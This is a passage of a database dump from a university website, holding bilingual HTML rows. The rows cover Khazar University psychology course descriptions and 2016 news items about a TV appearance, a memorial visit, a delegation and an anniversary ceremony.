style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 310. Koqnitiv\r\npsixologiya</strong></p>\r\n<p style=\"text-align:justify\">İnsanın informasiya qəbulunun əsas anlayışları,\r\nsorğulama üsulları və əhəmiyyətli tapıntılar, qəbul etmə və informasiya emalı,\r\ndiqqət, qısa və uzun müddətli yaddaş prosesləri və psixoterapiya ilə əlaqədar təməl\r\nnəzəriyyələri, əhəmiyyətli mövzuları və araşdırma üsullarını koqnitiv\r\npsixologiya kursu özündə birləşdirir.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 308.\r\nÖyrənmə prinsipləri</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs insanın öyrənmə mövzusundakı əsas sahələri\r\nvə tədqiqatları əhatə edir. Kurs zamanı tələbələr həm yaddaşın praktiki aspektlərinə,\r\nhəm də nəzəriyyə əsaslı biliklərə yiyələnəcəklər.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong mso-bidi-font-weight:normal\"\"=\"\">PSYCH 240.\r\nPsixoloji nəzəriyyələr</strong></p>\r\n<p style=\"text-align:justify\">Bu dərs prsixologiyada əsas cərəyanların inkişafını\r\nvə yaranmasını əhatə edir. Kurs praktik biliklərdən istifadə etməklə yanaşı, nəzəri\r\nbilikləri də əhatə edir.</p>\r\n<p style=\"text-align:justify\"><br></p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 418. Rəhbərlik\r\n(Konsultasiya) psixologiyası</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs psixoloji konsultasiyanın öyrənilməsi\r\nprinsiplərinə nəzəri girişdir. Psixoloji konsultasiya nəzəriyyələri əhatə\r\nolunacaq və praktik məsələləri həll etmək üçün istifadə olunacaq. Psixoloji\r\nkonsultasiyaları həyata keçirən zaman münasibətlərin qurulması və düzgün\r\nterapiya metodlarından istifadə kursun əhatə dairəsindədir.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 340.\r\nPsixofarmakologiya</strong></p>\r\n<p style=\"text-align:justify\">Bu dərs neyrofiziologiya və psixotrop dərmanlar\r\narasındakı qarşılıqlı təsiri və insan üzərindəki effektləri tədqiq edir. Psixotrop\r\ndərmanlar, onların neyrokimyəvi əsasları, təsirləri və klinik tətbiqləri əhatə\r\nolunur.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 320.\r\nEvlilik, ailə və cinsəllik</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs psixoloji baxımdan nikah, ailə, insan\r\nyaxınlığı və cinsəlliyi əhatə edir. Fərdlər arasında münasibətlər, evlilik, ər-arvad\r\nmünasibətləri, şəxsiyyət tiplərinə görə ailə qurma, cinsəllik kimi mövzular praktiki\r\nvə nəzəri cəhətdən izah ounacaq.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 322.\r\nUşaq psixologiyası</strong></p>\r\n<p style=\"text-align:justify\">Bu kursun məqsədi prenatal inkişafdan uşaqlar üçün\r\nməktəbəqədər dövrə qədər olan əsas məlumatları öyrənməkdir. Uşaq pixologiyası\r\nkursu tələbələrə uşaqların psixoloji, koqnitiv, duyğusal, fiziki və davranış\r\ninkişafını izah edən müxtəlif nəzəriyyələri təqdim etmək üçün nəzərdə\r\ntutulmuşdur.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 440. Hüquq\r\npsixologiyası</strong></p>\r\n<p style=\"text-align:justify\">Bu kursun məqsədi tələbələrə məhkəmə\r\npsixologiyasının bəzi sahələrini təqdim etmək və məhkəmə psixoloqlarının hüquqi\r\nsistemə necə kömək etdiyini öyrətməkdir. Kurs narkotik vasitələrin davranışlara\r\ntəsirini, cinayət davranışını, yeniyetmə cinayətini, psikopatologiyanı və peşəkar\r\nqatillər haqqında təməl bilikləri əhatə edir.</p>\r\n<p style=\"text-align:justify\">&nbsp;<strong mso-bidi-font-weight:normal\"\"=\"\">&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 304. Emosiya\r\nvə motivasiya</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs insan motivasiyası və duyğularına nəzəri və\r\nempirik yanaşmalar təqdim edir. Motivasiya, dürtülər və instinkt nəzəriyyələri,\r\nşüur ​​və istəkli\r\ndavranış, özünə nəzarət və özünü tənzimləmə kimi mövzuları əhatə edir.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 415. Sənaye\r\npsixologiyası</strong></p>\r\n<p style=\"text-align:justify\">Tələbələrə sənaye psixologiyasının məzmununu çatdırmaq\r\nvə psixoloji nəzəriyyəni təşkilati məsələlərə tətbiq etmək bu kursun əsas məqsədidir.\r\nMövzular biznes təhlili, işə götürmə və seçmə, təlim, performans qiymətləndirmə\r\nvə intizam, işçilərin motivasiyası və iş yerlərinin təhlükəsizliyini əhatə edir.\r\nTətbiqi bir yanaşma istifadə edərək, bu kurs tələbələri işçilərinə və rəhbər\r\nrollara hazırlamağa kömək edəcək.</p>\r\n<p style=\"text-align:justify\">&nbsp;&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 417. Koqnitiv\r\nnevrologiya</strong></p>\r\n<p style=\"text-align:justify\">Koqnitiv nevrologiya beyin funksiyaları ilə\r\n(nevrologiya) davranış tədqiqatını (psixologiya) qarışılaşdırır. Bu kurs tələbələrə\r\nqavranama, diqqət, yaddaş, öyrənmə, planlaşdırma və digər koqnitiv fəaliyyətlər\r\nkimi davranışlar zamanı beynin rolunu öyrədir.</p>\r\n<p style=\"text-align:justify\"><br></p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 419.\r\nİctimai iş</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs sosial rifahın, sosial işin və müxtəlif\r\nsosial xidmətlərin tarixi inkişafına yönəlib. Kurs əsas sosial problemlərin təbiəti,\r\nsəbəbləri və ölçülərini əhatə edir və insanların bu problemlərdən necə təsirləndiyinə\r\ndair nümunələr verir. Yaşlılar, uşaqlar, cinsi azlıqlar, yoxsullar, ailələrin və\r\nrisk altındakı əhalinin ehtiyaclarına cavab verən ictimai xidmət mütəxəssislərinin\r\ndüzgün iş prinsiplərini əhatə edir.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong style=\"\" mso-bidi-font-weight:normal\"\"=\"\">PSYCH 421.\r\nSağlamlıq davranış nəzəriyyələri</strong></p>\r\n<p style=\"text-align:justify\">Bu kurs insan sağlamlığının müəyyənləşdirilməsində\r\ndavranışın əhəmiyyəti haqqında ümumi məlumatları əhatə edir. Tədqiqatlar fərdi,\r\ninsanlararası, təşkilati və icma strukturlarının sağlamlıq davranışının müəyyənləşdirilməsində\r\nrolunu təsvir etmək üçün ümumiləşdirilmişdir. Kurs səhiyyə müəssisəsi və\r\nictimai səhiyyə işçilərinin bütünlüklə bilinən davranışlara təsirini artırmaq\r\nüçün sosial baxımdan necə addımlar atığını əhatə edir.</p>'),(2000,1218,'az','Xəzər Universitetinin “Imagine” komandası “Tələbə dünyası” televiziya proqramında','2016-cı il iyunun 15-də Xəzər Universitetinin “Imagine” komandası “Tələbə dünyası” televiziya proqramında çıxış etdi...','<p>2016-cı il iyunun 15-də Xəzər Universitetinin\r\n“Imagine” komandası “Tələbə dünyası” televiziya proqramında çıxış etdi. Proqram\r\nAzTV-də –dövlət televiziya kanalında yayımlanır.</p>\r\n<p>Komandanın verilişdəki çıxışı P2P: Ekstremizmə\r\nqarşı Mübarizə Proqramında qalibiyyətlərinə və öz marketinq kampaniyalarını\r\nABŞ-da əsas münsiflər heyəti qarşısında təqdim etmək və əsas mükafatı qazanmaq\r\nüçün yola düşəcəyi qarşıdan gələn səfərə həsr olunmuşdu. </p>\r\n<p>Komandanın üzvləri proqramda iştirakları,\r\nmarketinq kampaniyaları üzərində gördükləri işləri ilə bağlı təcrübələri və\r\n2016-cı il iyunun 27-də Vaşinqtonda (ABŞ) keçirəcəkləri təqdimata hazırlıqları haqqında danışdılar. Dinarə Katibli\r\nkomandanın adının yaranması haqqında məlumat verdi: “Demək olar ki, hər layihə\r\n“Gəlin, təsəvvür edək!” sözləri ilə başlayır və biz də komanda olaraq istədik\r\nki, bu dünyanı ekstremizm olmadan təsəvvür edək”. Nərmin Zəri ABŞ-da olacaq təqdimat\r\nvə komandanın gözləntiləri haqqında danışdı. Erlan Süleymanov gənc nəsilləri\r\nzorakı ekstremizmin müxtəlif formalarından qorumağın vacibliyini vurğuladı.\r\nƏlihüseyn Ağayev isə komandanın onlayn fəaliyyəti və bunun müxtəlif sosial\r\nmedia şəbəkələrdə kampaniyanın təbliğində və daha böyük kütləyə çatdırılmasında\r\nnecə rol oynadığından bəhs etdi.</p>\r\n<p>Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova\r\nP2P: Ekstremizmə qarşı Mübarizə Proqramı, onun məqsədi və Xəzər Universitetinin\r\nproqramda iştirakı haqqında müsahibə verdi.</p>'),(2001,1218,'en','Team Imagine of Khazar University on Student World TV Show','On June 15, 2016, the Imagine Team of Khazar University appeared on the Student World TV program...','<p>On June 15, 2016, the Imagine Team of Khazar\r\nUniversity appeared on the Student World TV\r\nprogram. The program is broadcast on AZTV, a state TV channel.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>The Team’s appearance on the\r\nTV show was dedicated to its victory in the P2P: Challenging Extremism Program\r\nand its upcoming visit to the USA to present their marketing campaign to the\r\nsenior judges and compete for the main prize.</p>\r\n<p>&nbsp;</p>\r\n<p>Members of the team Imagine\r\nspoke about their experience participating in the program, working on the\r\nmarketing campaign, and the preparation to their upcoming presentation in\r\nWashington, D.C. on June 27, 2016. Dinara Katibli spoke about the origin of the\r\nteam’s name. “Almost every project usually begins with “let’s imagine” words –\r\nwe as a team wanted to imagine this world without extremism,” explained Dinara.\r\nNarmin &nbsp;Zari, spoke about the upcoming\r\npresentation in the USA and the team’s expectations from it. Erlan Suleymanov\r\nemphasized how important it was to protect younger generations from various\r\nforms of violent extremism. Alihuseyn Agayev spoke about the team’s presence\r\nonline and how it utilized various social media outlets to promote their campaign\r\nand reach out to a wider audience. </p>\r\n<p>&nbsp;</p>\r\n<p>Ms. Turan Jafarova, Director\r\nof International Affairs Office, gave an interview about the P2P: Challenging\r\nExtremism program, its goal and Khazar University’s participation in it.&nbsp;</p>'),(2503,1511,'en','Hamlet Isaxanli Receives Guests from Sutcu Imam University','On October 28, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, received guests from Kahramanmaras Sutcu Imam...','<p>On\r\nOctober 28, 2016, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, received guests from\r\nKahramanmaras Sutcu Imam University of Turkey including Durmus Deveci, Rector;\r\nIbrahim Solak, Vice Rector; the Chairman of the Public Relations Committee; the\r\nChairman of the Center for Stability and Development; and the Vice President of\r\nthe World Azerbaijanis’ Cultural Center. Professor Mahammad Nuriyev, Vice\r\nPresident of Khazar University for Academic Affairs; Dr. Isakhan Isakhanli,\r\nVice President for Administration and Student Affairs; and Alovsat Amirbeyli,\r\nDirector for Public Relations and Media, also participated in the meeting.&nbsp;</p>'),(2002,1219,'en','Founder in Genocide Memorial Complex','On June 19, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees and some other....','<div><span style=\"font-weight:normal\">On June 19, 2016, Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees and some other scholars visited <a href=\"https://www.google.az/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=2&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwiA-NbF17bNAhUD3CwKHatcBvgQFggeMAE&amp;url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGuba_Genocide_Memorial_Complex&amp;usg=AFQjCNEooRKgvu8nklKYXnz90wu08NHc5w&amp;sig2=JB7zXmKhSeMt7PJwz6opWA\">Guba Genocide Memorial Complex</a>. &nbsp;Doctor\r\nof historical sciences&nbsp;Prof.&nbsp;Solmaz&nbsp;Rustamova-Tohidi who were involved in the establishment\r\nof the museum and Saida Abbasova, director of the museum gave detailed\r\ninformation about the history , exhibits and development of the museum.</span></div>'),(2003,1219,'az','Təsisçi Soyqırım Muzeyində oldu','2016-cı il iyunun 19-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və onu müşaiyət edən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 19-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı və onu müşaiyət edən elm və təhsil\r\nadamları Quba şəhərində Soyqırım Muzeyini ziyarət etdilər. Muzeyin qurulmasında\r\niştirak etmiş Tarix elmləri doktoru Solmaz Tohidi və muzeyin direktoru Səidə\r\nAbbasova muzeyin tarixi, eksponatları və inkişafı barədə geniş məlumat verdilər.</p>'),(1014,644,'en','Course descriptions','Course descriptions','<p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>PSYCH 410. Psychopathology</strong>&nbsp;</p><p style=\"text-align:justify\">This course provides an overview of the nature and history of psychopathologies and then examines different models that help us to understand abnormalities. The focus will be on diagnosis, classification, etiology and treatment of various psychological disorders.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 318. Experimental Psychology</strong>&nbsp;<br></p><p style=\"text-align:justify\">This course presents experimental methodologies used in psychology, including how data is collected, organized, and interpreted in psychological research. It introduces research methods used to study animal and human behavior and mental processes; examines how to perform experiments in learning, memory and problem solving; apply statistical methods for data analysis, writing of scientific reports, and critically evaluate classical and current research.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 406. Social Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">Course studies human behavior in its social context to reveal how one\'s feelings and actions can be influenced by other people. Class examines processes of human interaction and the social influences of family, membership groups, mass media, and socioeconomic class on individuals and groups. Students examine elected forms of social reaction patterns, including socialization, attitudes, language acquisition, collective behavior, deviant behavior, prejudices, and violence.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 302. Neuropsychology</strong>&nbsp;<br></p><p style=\"text-align:justify\">This course surveys neuropsychology, functional neuroanatomy, and brain-behavior relationships.The effects of brain damage on cognitive, personality, and psychosocial functioning will be discussed as well as descriptions of the most common neuropathological and neurobehavioral syndromes (e.g., traumatic brain injury, aphasia, cerebrovascular accidents [strokes], dementia, etc.).&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 102. Introduction to psychology</strong>&nbsp;</p><p style=\"text-align:justify\">This course is for basic understanding of psychology and it introduces the science of psychology by surveying key fields such as human development, learning, memory, intelligence, motivation and emotions, personality, abnormality, social interactions, and ethics. Students explore foundations of psychology seen in philosophy, theory, biology, and culture.&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>PSYCH 316 Research methods in Social Sciences</strong>&nbsp;</p><p style=\"text-align:justify\"><span style=\"text-align:justify\">This course considers the major methodological tools of the social sciences including applied statistics. Topics include: research design, measurement, observation, surveys, projective techniques, scale construction, sampling, analysis and interpretation, research reports and applications.&nbsp;</span></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 202. Psychological tests and measurements</strong>&nbsp;</p><p style=\"text-align:justify\">Introduction to basic principles of measurement and a survey of educational and psychological testing. Topics include the role of testing in decision-making, proper an improper uses of tests, test score interpretations (norm-referencing and criterion-referencing), ascertaining the validity and reliability of test scores and interpretations, classroom assessment and item analysis, and an overview of the different types of tests: standardized achievement and ability tests, intelligence tests, personality tests, and other non-cognitive tests (e.g., attitude surveys, interest inventories).&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 306. Physiological Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">Introduction to brain, basic physiological processes, and their roles in behaviour. Students develop a basic knowledge of brain anatomy, physiology, and pharmacology. Topics may include: sensing and perceiving; neural bases of action; motivation; learning and memory; and consciousness. Both experimental and clinical data are considered.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 402. Personality Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">This course investigates different empirical approaches to the study and understanding of human personality, including historically important and current conceptualizations of personality. Topics include the definition and measurement of personality; biological and cultural aspects of personality; psychoanalytic, cognitive, and behavioral perspectives; gender differences; and personality disorders.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 414. Clinical Psychology</strong>&nbsp;<br></p><p style=\"text-align:justify\">This course presents the theories, research, prevention, assessment, and clinical applications of the field of clinical psychology. The diagnostic and therapeutic strategies employed by clinical psychologists are examined, and students will be challenged to engage in a critical analysis of the theories and research that provide the foundation for effective treatments of various mental disorders.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 404. Developmental Psychology</strong>&nbsp;<br></p><p style=\"text-align:justify\">This course will discuss basic knowledge relevant to development of the human being from the inception till the death, including&nbsp; pregnancy and birth, infancy, childhood, adolescence, adulthood, death. Theory and research on psychological development through the lifespan, focusing primarily on cognitive and social growth in the early and middle childhood years will be examined.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 310. Cognitive Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">The study of human cognition, its basic concepts, methods of inquiry, and major findings integrates important theories, major topics, and research methods in cognitive psychology including pattern recognition, perception and information processing, attention, short-and long-term memory processes and organization, and decision making.&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>PSYCH 308. Principles of Learning</strong>&nbsp;</p><p style=\"text-align:justify\">This course will cover basic issues and research concerned with human learning. This includes both practical aspects of memory as well as theoretical concerns.<strong>&nbsp;</strong>&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>PSYCH 240. Theories in Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">This course discusses the development of the major schools of psychology, their philosophic and scientific antecedents and their basic theoretical concepts, methodological characteristics, empirical content, and general adequacy.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 418. Counselling Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">This course is an introduction to theories and principles of counseling psychology. Theoretical approaches to the counseling process will be presented and applied to case studies. An integrated approach to basic counseling skills, utilizing theory, practice and case application for use in professional settings with special emphasis on providing a foundation for the development of competencies in human relations needed in effective helping relationships.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 340. Psychopharmacology</strong>&nbsp;</p><p style=\"text-align:justify\">This course provides an overview of basic psychopharmacology including an introduction to the interaction between neurophysiology and psychotropic medications, and how such interactions influence psychotherapy treatment, planning an intervention. An introduction is provided to psychotropic drugs, their neurochemical basis, their mode of action, and their clinical application.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 320. Marriage, Family, and Human Intimacy</strong>&nbsp;</p><p style=\"text-align:justify\">This course is aimed to discuss the institution of marriage, family, human intimacy and sexuality from the psychological overview. Assessment and evaluation for clinical-counseling approaches, models of marital adjustment and assessment of interpersonal relationships will be discussed.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 322. Child Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">This course aims to provide an understanding of the basics about children from prenatal development through the preschool years. The Child Psychology course is designed to introduce students to different theorists that explain a number of ways we explain children’s psychological, cognitive, emotional, physical, and behavioral development.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 440. Forensic Psychology</strong>&nbsp;</p><p style=\"text-align:justify\">This course is aimed to introduce students to some representative areas of forensic psychology and to teach how forensic psychologists contribute to the legal system. The topics include: effects of drugs on behavior, criminal behavior, juvenile delinquency, psychopathology, and profiling serial kills, just to name a few.&nbsp;&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 304 - Emotions and Motivation</strong>&nbsp;</p><p style=\"text-align:justify\">This course introduces you to the theoretical and empirical approaches to understanding human motivation and emotion. Topics covered include theories of motivation, drives and instincts, consciousness and volitional behavior, self-control and self-regulation, the function of emotions, relationships between emotion and cognition, and the regulation of emotions.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 415 - Industrial Psychology</strong></p><p style=\"text-align:justify\">Introduces students to the content areas of industrial psychology and the application of psychological theory to organizational issues. Topics include employment law, job analysis, recruitment and selection, training, performance appraisal and discipline, employee motivation, and workplace safety. Using an applied approach, this course will help prepare students for their roles as employees and managers.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 417 - Cognitive Neuroscience</strong>&nbsp;</p><p style=\"text-align:justify\">Cognitive neuroscience blends the study of behavior (psychology) with the study of the brain (neuroscience). This course will introduce students to this field by examining the brain\'s role in behaviors such as perception, attention, memory, learning, planning, and other cognitive activities.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 419 - Social Work</strong>&nbsp;</p><p style=\"text-align:justify\">This course focuses on the historical development of social welfare, social work and various social services. The course focuses on the nature, causes, and extent of major social problems, and provides examples of how people are affected by such problems. Emphasis is placed on various roles of social workers, the generalist method, cultural competence, ecological and systems theory, the strengths perspective, and responses to the needs of the poor, families, and populations at risk such as the elderly, children, sexual minorities, and people of color.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>PSYCH 421 - Theories of Health Behavior</strong>&nbsp;</p><p style=\"text-align:justify\">This course includes general understandings about the importance of behavior in determining human health. Theories are outlined to explain the role of individual, interpersonal, organizational and community constructs in determining health behavior. The course concludes while integrating this collection of theories to show how professionals in health care and public health use a social ecological perspective to maximize their influence on those behaviors known to influence health.&nbsp;</p><p style=\"text-align:justify\"><br></p>'),(1998,1217,'en',' Ceremony to Mark 25th Anniversary of Khazar University','On June 16, 2016 a ceremony was held at Khazar University to mark the 25th anniversary of the university...','<p>On June\r\n16, 2016 a ceremony was held at Khazar University to mark the 25th anniversary\r\nof the university. The university administration and employees, guests\r\nparticipated in the ceremony.&nbsp; The ceremony\r\nstarted with the demonstration of the documentary made by Multimedia Center about\r\nthe history and achievments&nbsp; of Khazar\r\nUniversity. Then, Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees&nbsp;made a speech. In his speech Hamlet\r\n&nbsp;Isaxanli looked back the way Khazar\r\nVuniversity has passed since its establishment and spoke about the challenges,\r\nachievments and &nbsp;future goals of the university. He also noted\r\nthat, Khazar University ranked 68th according to the annual ranking released by\r\nQS in Emerging Europe and Central Asia for 2016, being the first among the\r\nAzebaijan universities. The names of the employees who worked at Khazar\r\nUniversity for more than 20 years&nbsp; were\r\nannouced and the&nbsp; participants were\r\nawarded with gratitude. The gratitudes were presented by Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees and Dr. Hasan Niknafs, President of the University.</p>\r\n<p>&nbsp;</p>\r\n<p>According\r\nto the <strong>Academic Council`s &nbsp;decision Hamlet\r\nIsakhanli was awarded with special gratitude and it was presented by </strong>Hasan Niknafs<strong>.</strong><strong> A slide-\r\nshow made by Multimedia center about those who were awarded was demonstrated. </strong>On behalf\r\nof&nbsp;the awarded, Associate\r\nProfessor Roza Arazova, Head of the Department of History and Archeology, Firangiz\r\nNasirova, Lydia Hamidova Senior Instructors of the Department of English\r\nLanguage and Literature made speeches. They &nbsp;spoke\r\nabout the first years of Khazar University and shared their memories. &nbsp;Marufa Madatli, the director of “Dunya” Schooladressed good wishes to universite and presented gifts.&nbsp; The ceremony was accompanied with the concert\r\norganized by Associate Professor&nbsp;Zulfiyya Sadigova, Head of the\r\nDepartment of Music and Fine Arts. Mashati Jabbarova, voice coach of the university, soloist of Muslum Magomayev\r\nAzerbaijan State Philharmonic and Meritorious Artist Fərid Əliyev, soloist of Azerbaijan\r\nState Academic Opera and Ballet Theatre performed different songs. The newly\r\nestablished university choir of teachers and employees performed for the first\r\ntime. The ceremony came to an end with cutting the holiday cake.</p>'),(1999,1217,'az',' Xəzər Universitetinin 25 illiyi münasibətilə təntənəli mərasim','2016-cı il iyunun 16-da Xəzər Universitetinin Mərmər salonunda universitetin 25 illiyi münasibətilə təntənəli mərasim keçirildi...','<p>2016-cı il iyunun 16-da Xəzər Universitetinin Mərmər\r\nsalonunda universitetin 25 illiyi münasibətilə təntənəli mərasim keçirildi. Mərasimdə\r\nuniversitet rəhbərliyi və əməkdaşlar, qonaqlar iştirak edirdilər.</p>\r\n<p>Mərasim Xəzər Universitetinin tarixi və &nbsp;qazandığı nailiyyətlər haqqında universitetin\r\nMultimedia mərkəzinin hazırladığı sənədli filmin nümayişi ilə başlandı. Sonra universitetin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı\r\nçıxış edərək, 25 il əvvəl azsaylı sadiq əməkdaşlarla qurmağa başladığı bu ali təhsil\r\nmüəssisəsinin ötən müddət ərzində keçdiyi yola nəzər saldı, cətinliklərdən və\r\nuğurlardan, qarşıda duran vəzifələrdən danışdı. Qeyd etdi ki, iyunun 14-də QS təşkilatının\r\nAvropa və Mərkəzi Asiyanın inkişaf etməkdə olan ölkələrinin ən yaxşı\r\nuniversitetlərinin 2016-cı il üçün müəyyənləşdirdiyi illik reytinq siyahısında Xəzər\r\nUniversiteti 68-ci yerdə olmaqla Azərbaycan universitetləri arasında, əvvəlki\r\nillərdə olduğu kimi, yenə də birinci yerə çıxmışdır. </p>\r\n<p>Daha sonra Xəzər Universitetində 20 ildən artıq\r\nçalışmış əməkdaşların adları elan edildi və mərasimdə iştirak edənlərə təşəkkürnamələr\r\ntəqdim olundu. Təşəkkürnamələri universitetin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı və rektor, fəlsəfə doktoru Hassan\r\nNiknafs təqdim etdilər. Universitet Elmi Şurasının qərarı ilə Hamlet\r\nİsaxanlının xususi təşəkkürnamə ilə təltif edildiyı də elan olundu və təşəkkürnaməni\r\nona Hassan Niknafs təqdim etdi. Təşəkkürnamə ilə təltif edilənlər haqqında\r\nuniversitetin Multimedia mərkəzinin hazırladığı slayd-şoular nümayiş olundu. </p>\r\n<p>Təltif olunanlar adından Tarix və arxeoiogiya\r\ndepartamentinin müdiri Roza Arazova, İngilis dili və ədəbiyyatı departamentinin\r\nbaş müəllimləri Firəngiz Nəsirova və Lidiya Həmidova çıxış edərək, Xəzər\r\nUniversitetinin ilk illərindən söhbər açdılar, xatirələr danışdılar.</p>\r\n<p>“Dünya” məktəbinin direktoru Mərufə Mədətli\r\nyubileyi münasibətilə universitetin ünvanına xoş sözlər söylədi və hədiyyə təqdim\r\netdi.</p>\r\n<p>Mərasim Musiqi və incəsənət departamentinin müdiri,\r\npianoçu Zülfiyyə Sadıqovanın rəhbərliyi ilə hazırlanmış geniş konsert proqramı\r\nilə müşayiət olundu. Universitetin Kamera orkestrinin və pianonun müşayıəti ilə\r\nMüslüm Maqomayev adına Azərbaycan Dövlət Filarmoniyasının solisti,\r\nuniversitetin vokal müəllimi Məhsəti Cabbarova və Azərbaycan Dövlət Akademik\r\nOpera və Balet Teatrının solisti Fərid Əliyevin ifasında müxtəlif mahnılar səsləndi.\r\n&nbsp;Universitetdə yeni yaradılmış, müəllim və\r\nəməkdaşlardan ibarət xor qrupu da ilk dəfə cıxış etdi.</p>\r\n<p>Bayram tortunun kəsilməsi ilə təntənəli mərasim\r\nbaşa çatdı.</p>'),(1015,642,'az','Haqqımızda','Haqqımızda','<p style=\"text-align:justify\"><strong style=\"color:#ff3333\">Psixologiya&nbsp; &nbsp;Departamenti</strong></p><p style=\"text-align:justify\">Psixologiya departamenti 2010-cu ildə yaranıb.&nbsp;Proqram psixologiyanın nəzəriyyəsini və praktikasını birləşdirir və bu sahədə uğurlu karyera qurmaq üçün zəruri olan fərdi və qrup psixoloji məsləhət texnikalarını öyrədir. Bu insan inkişafı, anormal davranış və idrak psixologiyası, uşaq psixologiyası, statistikanın başlanğıcı, ümumi psixologiya, sosial psixologiya və neyropsixologiya kimi psixoloji mövzulara yönəlmişdir.&nbsp;Karyera perspektivləri:Proqramın məzunlarının insan münasibətləri və ünsiyyəti özündə birləşdirən hər 